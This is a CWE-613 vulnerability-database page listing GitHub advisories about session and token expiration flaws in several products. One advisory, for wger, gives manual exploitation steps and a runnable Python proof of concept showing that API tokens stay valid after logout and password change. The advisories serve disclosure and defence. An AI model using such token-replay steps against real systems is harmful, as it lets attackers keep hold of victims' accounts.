CWE-613
Allowed-with-ReviewInsufficient Session Expiration
Abstraction: Base · Status: Incomplete
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
1162 vulnerabilities reference this CWE, most recent first.
GHSA-RVM5-9PV9-2RRC
Vulnerability from github – Published: 2025-04-18 15:31 – Updated: 2025-04-18 15:31IBM Sterling Connect:Direct Web Services 6.1.0, 6.2.0, and 6.3.0
does not invalidate session after a browser closure which could allow an authenticated user to impersonate another user on the system.
{
"affected": [],
"aliases": [
"CVE-2024-45651"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-18T11:15:44Z",
"severity": "MODERATE"
},
"details": "IBM Sterling Connect:Direct Web Services 6.1.0, 6.2.0, and 6.3.0 \n\ndoes not invalidate session after a browser closure which could allow an authenticated user to impersonate another user on the system.",
"id": "GHSA-rvm5-9pv9-2rrc",
"modified": "2025-04-18T15:31:38Z",
"published": "2025-04-18T15:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45651"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7231178"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RVW7-WX4G-RQ78
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30Insufficient session expiration vulnerability in syslink software AG Avantra on Linux, Windows allows Reusing Session IDs (aka Session Replay).
This issue affects Avantra: before 25.3.1.
{
"affected": [],
"aliases": [
"CVE-2026-8670"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-22T14:16:29Z",
"severity": "CRITICAL"
},
"details": "Insufficient session expiration vulnerability in syslink software AG Avantra on Linux, Windows allows Reusing Session IDs (aka Session Replay).\n\nThis issue affects Avantra: before 25.3.1.",
"id": "GHSA-rvw7-wx4g-rq78",
"modified": "2026-05-26T13:30:17Z",
"published": "2026-05-26T13:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8670"
},
{
"type": "WEB",
"url": "https://support.avantra.com/hc/en-us/articles/5533929912351"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RW8H-4H76-H2MX
Vulnerability from github – Published: 2025-04-18 18:31 – Updated: 2025-04-22 15:30An access control vulnerability in Nagios Network Analyzer 2024R1.0.3 allows deleted users to retain access to system resources due to improper session invalidation and stale token handling. When an administrator deletes a user account, the backend fails to terminate active sessions and revoke associated API tokens, enabling unauthorized access to restricted functions.
{
"affected": [],
"aliases": [
"CVE-2025-28059"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-18T17:15:34Z",
"severity": "HIGH"
},
"details": "An access control vulnerability in Nagios Network Analyzer 2024R1.0.3 allows deleted users to retain access to system resources due to improper session invalidation and stale token handling. When an administrator deletes a user account, the backend fails to terminate active sessions and revoke associated API tokens, enabling unauthorized access to restricted functions.",
"id": "GHSA-rw8h-4h76-h2mx",
"modified": "2025-04-22T15:30:51Z",
"published": "2025-04-18T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28059"
},
{
"type": "WEB",
"url": "https://github.com/aakashtyal/Residual-Data-Access-Post-User-Deletion-in-Nagios-Network-Analyzer-Version-2024R1"
},
{
"type": "WEB",
"url": "https://www.nagios.com/changelog/#network-analyze"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RX2F-PJ28-88G5
Vulnerability from github – Published: 2022-11-04 12:00 – Updated: 2022-11-04 19:01"IBM MQ Appliance 9.2 CD, 9.2 LTS, 9.3 CD, and LTS 9.3 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 235532."
{
"affected": [],
"aliases": [
"CVE-2022-40230"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-03T20:15:00Z",
"severity": "MODERATE"
},
"details": "\"IBM MQ Appliance 9.2 CD, 9.2 LTS, 9.3 CD, and LTS 9.3 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 235532.\"",
"id": "GHSA-rx2f-pj28-88g5",
"modified": "2022-11-04T19:01:11Z",
"published": "2022-11-04T12:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40230"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6622051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RX9C-4X6J-XM83
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-05-26 00:01A remote authorization bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-23669"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-17T18:15:00Z",
"severity": "HIGH"
},
"details": "A remote authorization bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.",
"id": "GHSA-rx9c-4x6j-xm83",
"modified": "2022-05-26T00:01:11Z",
"published": "2022-05-18T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23669"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-007.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RXRW-F2XJ-7FJX
Vulnerability from github – Published: 2026-10-28 21:31 – Updated: 2026-10-28 21:31In deployments of WSO2 Identity Server configured with a case-insensitive user store and a case-sensitive database for identity data, mismatches in username case handling can occur. This inconsistency results in OAuth token revocation operations failing to correctly identify usernames containing mixed-case characters during certain lifecycle events, preventing tokens from being invalidated.
A malicious actor can exploit this vulnerability by possessing a valid access or refresh token associated with a mixed-case username. In affected configurations, these tokens may not be revoked when expected. The actor can then leverage these unrevoked tokens, before their expiry, to continue performing actions that should have been restricted, effectively bypassing intended access controls.
{
"affected": [],
"aliases": [
"CVE-2026-6647"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-28T20:18:44Z",
"severity": "HIGH"
},
"details": "In deployments of WSO2 Identity Server configured with a case-insensitive user store and a case-sensitive database for identity data, mismatches in username case handling can occur. This inconsistency results in OAuth token revocation operations failing to correctly identify usernames containing mixed-case characters during certain lifecycle events, preventing tokens from being invalidated.\n\nA malicious actor can exploit this vulnerability by possessing a valid access or refresh token associated with a mixed-case username. In affected configurations, these tokens may not be revoked when expected. The actor can then leverage these unrevoked tokens, before their expiry, to continue performing actions that should have been restricted, effectively bypassing intended access controls.",
"id": "GHSA-rxrw-f2xj-7fjx",
"modified": "2026-10-28T21:31:18Z",
"published": "2026-10-28T21:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6647"
},
{
"type": "WEB",
"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2026-5387"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V25H-F6WW-7597
Vulnerability from github – Published: 2026-10-30 15:34 – Updated: 2026-10-30 15:34ArcadeDB before 26.10.2 contains an improper authorization vulnerability that allows revoked users to retain access through already-open Postgres, Bolt, MongoDB, or Redis wire-protocol connections. Attackers holding an existing connection can keep reading and writing data after deletion, grant removal, or password rotation, because executors keep a stale ServerSecurityUser.
{
"affected": [],
"aliases": [
"CVE-2026-119577"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-30T14:16:47Z",
"severity": "HIGH"
},
"details": "ArcadeDB before 26.10.2 contains an improper authorization vulnerability that allows revoked users to retain access through already-open Postgres, Bolt, MongoDB, or Redis wire-protocol connections. Attackers holding an existing connection can keep reading and writing data after deletion, grant removal, or password rotation, because executors keep a stale ServerSecurityUser.",
"id": "GHSA-v25h-f6ww-7597",
"modified": "2026-10-30T15:34:34Z",
"published": "2026-10-30T15:34:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ArcadeData/arcadedb/security/advisories/GHSA-vc4x-rm58-r9cr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119577"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/arcadedb-before-26.10.2-improper-session-revocation-in-wire-protocol-connections"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V2X8-2RV7-79J3
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16The IceHrm 30.0.0 OS website was found vulnerable to Session Management Issue. A signout from an admin account does not invalidate an admin session that is opened in a different browser.
{
"affected": [],
"aliases": [
"CVE-2021-38823"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-04T14:15:00Z",
"severity": "CRITICAL"
},
"details": "The IceHrm 30.0.0 OS website was found vulnerable to Session Management Issue. A signout from an admin account does not invalidate an admin session that is opened in a different browser.",
"id": "GHSA-v2x8-2rv7-79j3",
"modified": "2022-05-24T19:16:29Z",
"published": "2022-05-24T19:16:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38823"
},
{
"type": "WEB",
"url": "https://www.navidkagalwalla.com/icehrm-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V3X9-6GG8-C2C9
Vulnerability from github – Published: 2026-10-07 13:59 – Updated: 2026-10-07 13:59Summary
A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:
- Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
- Password change updates the password hash, but does not revoke:
- existing DRF tokens stored in authtoken_token
- existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
Vulnerable Files
wger/wger/core/views/user.py(logout implementation)wger/settings/settings_global.py(DRF auth configuration, SimpleJWT defaults)wger/settings/main.py(commonly used production defaults for JWT lifetimes)wger/wger/utils/api_token.py(authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account.
- Obtain a JWT refresh token:
POST /api/v2/tokenwith username/password.- Obtain a DRF token (API key):
- use
/user/api-key(or create token via admin/DB in a test environment). - Change password:
POST /<lang>/user/password/changewithold_password,new_password1,new_password2.- Prove token replay:
- Call a private endpoint using the old DRF token (should still return
200). - Call
POST /api/v2/token/refreshusing the old refresh token (should still return200and a new access token).
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
import json
import os
def main() -> None:
"""
PoC for IDENTITY-VULN-01:
Proves that password change does not revoke:
- DRF authtoken (Authorization: Token <key>)
- JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient.
It does not require running the dev server.
"""
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
# Ensure we use the local sqlite DB path used during setup
os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")
import django
django.setup()
from django.conf import settings
from django.contrib.auth.models import User
from django.test import Client
from rest_framework.authtoken.models import Token
from rest_framework.test import APIClient
username = "pwchange_user_poc"
old_pw = "OldPassw0rd!"
new_pw = "NewPassw0rd!"
# Create a clean user + DRF token
User.objects.filter(username=username).delete()
user = User.objects.create_user(username=username, password=old_pw)
Token.objects.filter(user=user).delete()
drf_token = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline)
r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
refresh = getattr(r_obtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint
web = Client()
web.force_login(user)
r_pw = web.post(
"/en/user/password/change",
data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
follow=False,
)
# Old password should fail now (sanity check)
r_obtain_old = api.post(
"/api/v2/token",
{"username": username, "password": old_pw},
format="json",
)
# New password should work
r_obtain_new = api.post(
"/api/v2/token",
{"username": username, "password": new_pw},
format="json",
)
# DRF token remains valid (private endpoint still accessible)
api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
r_drf = api.get("/api/v2/weightentry/")
# Old refresh remains valid (still mints a new access token)
api.credentials()
r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")
out = {
"jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
"jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
"jwt_obtain_oldpw_before_change": r_obtain.status_code,
"password_change_status": r_pw.status_code,
"jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
"jwt_obtain_newpw_after_change": r_obtain_new.status_code,
"drf_token_private_api_after_change": r_drf.status_code,
"jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
"jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
}
print(json.dumps(out, indent=2))
if __name__ == "__main__":
main()
Expected output (example from a successful run):
{
"jwt_refresh_lifetime_seconds": 86400,
"jwt_access_lifetime_seconds": 900,
"jwt_obtain_oldpw_before_change": 200,
"password_change_status": 302,
"jwt_obtain_oldpw_after_change": 401,
"jwt_obtain_newpw_after_change": 200,
"drf_token_private_api_after_change": 200,
"jwt_refresh_with_old_refresh_after_change": 200,
"jwt_refresh_response_keys": [
"access"
]
}
Impact
A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46437"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-613"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T13:59:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim\u2019s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).\nlifecycle events do not revoke these credentials:\n- **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` and does not revoke API tokens.\n- **Password change** updates the password hash, but does not revoke:\n - existing DRF tokens stored in `authtoken_token`\n - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.\n\n\n#### Vulnerable Files\n\n- `wger/wger/core/views/user.py` (logout implementation)\n- `wger/settings/settings_global.py` (DRF auth configuration, SimpleJWT defaults)\n- `wger/settings/main.py` (commonly used production defaults for JWT lifetimes)\n- `wger/wger/utils/api_token.py` (authtoken rotation is manual only)\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account.\n2. Obtain a JWT refresh token:\n - `POST /api/v2/token` with username/password.\n3. Obtain a DRF token (API key):\n - use `/user/api-key` (or create token via admin/DB in a test environment).\n4. Change password:\n - `POST /\u003clang\u003e/user/password/change` with `old_password`, `new_password1`, `new_password2`.\n5. Prove token replay:\n - Call a private endpoint using the *old* DRF token (should still return `200`).\n - Call `POST /api/v2/token/refresh` using the *old* refresh token (should still return `200` and a new access token).\n\n#### Automation PoC (Python)\n\nCopy/paste runnable PoC (Django in-process test client; no dev server required):\n\n```python\nimport json\nimport os\n\n\ndef main() -\u003e None:\n \"\"\"\n PoC for IDENTITY-VULN-01:\n Proves that password change does not revoke:\n - DRF authtoken (Authorization: Token \u003ckey\u003e)\n - JWT refresh tokens (still mint access tokens)\n\n This PoC runs entirely in-process using Django\u0027s test client + DRF APIClient.\n It does not require running the dev server.\n \"\"\"\n\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"settings.main\")\n # Ensure we use the local sqlite DB path used during setup\n os.environ.setdefault(\"DJANGO_DB_DATABASE\", \"db.sqlite3\")\n os.environ.setdefault(\"DJANGO_MEDIA_ROOT\", \"media\")\n\n import django\n\n django.setup()\n\n from django.conf import settings\n from django.contrib.auth.models import User\n from django.test import Client\n from rest_framework.authtoken.models import Token\n from rest_framework.test import APIClient\n\n username = \"pwchange_user_poc\"\n old_pw = \"OldPassw0rd!\"\n new_pw = \"NewPassw0rd!\"\n\n # Create a clean user + DRF token\n User.objects.filter(username=username).delete()\n user = User.objects.create_user(username=username, password=old_pw)\n Token.objects.filter(user=user).delete()\n drf_token = Token.objects.create(user=user).key\n\n api = APIClient()\n\n # Obtain JWT tokens with old password (proof baseline)\n r_obtain = api.post(\"/api/v2/token\", {\"username\": username, \"password\": old_pw}, format=\"json\")\n refresh = getattr(r_obtain, \"data\", {}).get(\"refresh\")\n\n # Change password through the actual password change endpoint\n web = Client()\n web.force_login(user)\n r_pw = web.post(\n \"/en/user/password/change\",\n data={\"old_password\": old_pw, \"new_password1\": new_pw, \"new_password2\": new_pw},\n follow=False,\n )\n\n # Old password should fail now (sanity check)\n r_obtain_old = api.post(\n \"/api/v2/token\",\n {\"username\": username, \"password\": old_pw},\n format=\"json\",\n )\n\n # New password should work\n r_obtain_new = api.post(\n \"/api/v2/token\",\n {\"username\": username, \"password\": new_pw},\n format=\"json\",\n )\n\n # DRF token remains valid (private endpoint still accessible)\n api.credentials(HTTP_AUTHORIZATION=f\"Token {drf_token}\")\n r_drf = api.get(\"/api/v2/weightentry/\")\n\n # Old refresh remains valid (still mints a new access token)\n api.credentials()\n r_refresh = api.post(\"/api/v2/token/refresh\", {\"refresh\": refresh}, format=\"json\")\n\n out = {\n \"jwt_refresh_lifetime_seconds\": int(settings.SIMPLE_JWT[\"REFRESH_TOKEN_LIFETIME\"].total_seconds()),\n \"jwt_access_lifetime_seconds\": int(settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds()),\n \"jwt_obtain_oldpw_before_change\": r_obtain.status_code,\n \"password_change_status\": r_pw.status_code,\n \"jwt_obtain_oldpw_after_change\": r_obtain_old.status_code,\n \"jwt_obtain_newpw_after_change\": r_obtain_new.status_code,\n \"drf_token_private_api_after_change\": r_drf.status_code,\n \"jwt_refresh_with_old_refresh_after_change\": r_refresh.status_code,\n \"jwt_refresh_response_keys\": sorted(list(getattr(r_refresh, \"data\", {}).keys())),\n }\n\n print(json.dumps(out, indent=2))\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nExpected output (example from a successful run):\n\n```json\n{\n \"jwt_refresh_lifetime_seconds\": 86400,\n \"jwt_access_lifetime_seconds\": 900,\n \"jwt_obtain_oldpw_before_change\": 200,\n \"password_change_status\": 302,\n \"jwt_obtain_oldpw_after_change\": 401,\n \"jwt_obtain_newpw_after_change\": 200,\n \"drf_token_private_api_after_change\": 200,\n \"jwt_refresh_with_old_refresh_after_change\": 200,\n \"jwt_refresh_response_keys\": [\n \"access\"\n ]\n}\n```\n\n### Impact\nA user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker\u0027s copy of the token remains fully valid.\nIf an attacker obtains a victim\u2019s API credential once, the victim\u2019s primary remediation actions (**logout** and **password change**) do not terminate attacker access.\n- **Confidentiality:** attacker retains access to victim\u2019s private API data (depends on endpoints used).\n- **Integrity:** attacker can perform any API mutations permitted to the victim\u2019s account.",
"id": "GHSA-v3x9-6gg8-c2c9",
"modified": "2026-10-07T13:59:11Z",
"published": "2026-10-07T13:59:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-v3x9-6gg8-c2c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
},
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/releases/tag/2.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: API credentials remain valid after logout/password change"
}
GHSA-V42H-J35F-R8X9
Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2022-05-24 17:32CyberArk Privileged Session Manager (PSM) 10.9.0.15 allows attackers to discover internal pathnames by reading an error popup message after two hours of idle time.
{
"affected": [],
"aliases": [
"CVE-2020-25374"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-28T20:15:00Z",
"severity": "MODERATE"
},
"details": "CyberArk Privileged Session Manager (PSM) 10.9.0.15 allows attackers to discover internal pathnames by reading an error popup message after two hours of idle time.",
"id": "GHSA-v42h-j35f-r8x9",
"modified": "2022-05-24T17:32:32Z",
"published": "2022-05-24T17:32:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25374"
},
{
"type": "WEB",
"url": "https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PAS%20SysReq/System%20Requirements%20-%20PSM.htm"
},
{
"type": "WEB",
"url": "https://medium.com/@virajmota38/full-path-disclosure-8a9358e5a867"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Set sessions/credentials expiration date.
No CAPEC attack patterns related to this CWE.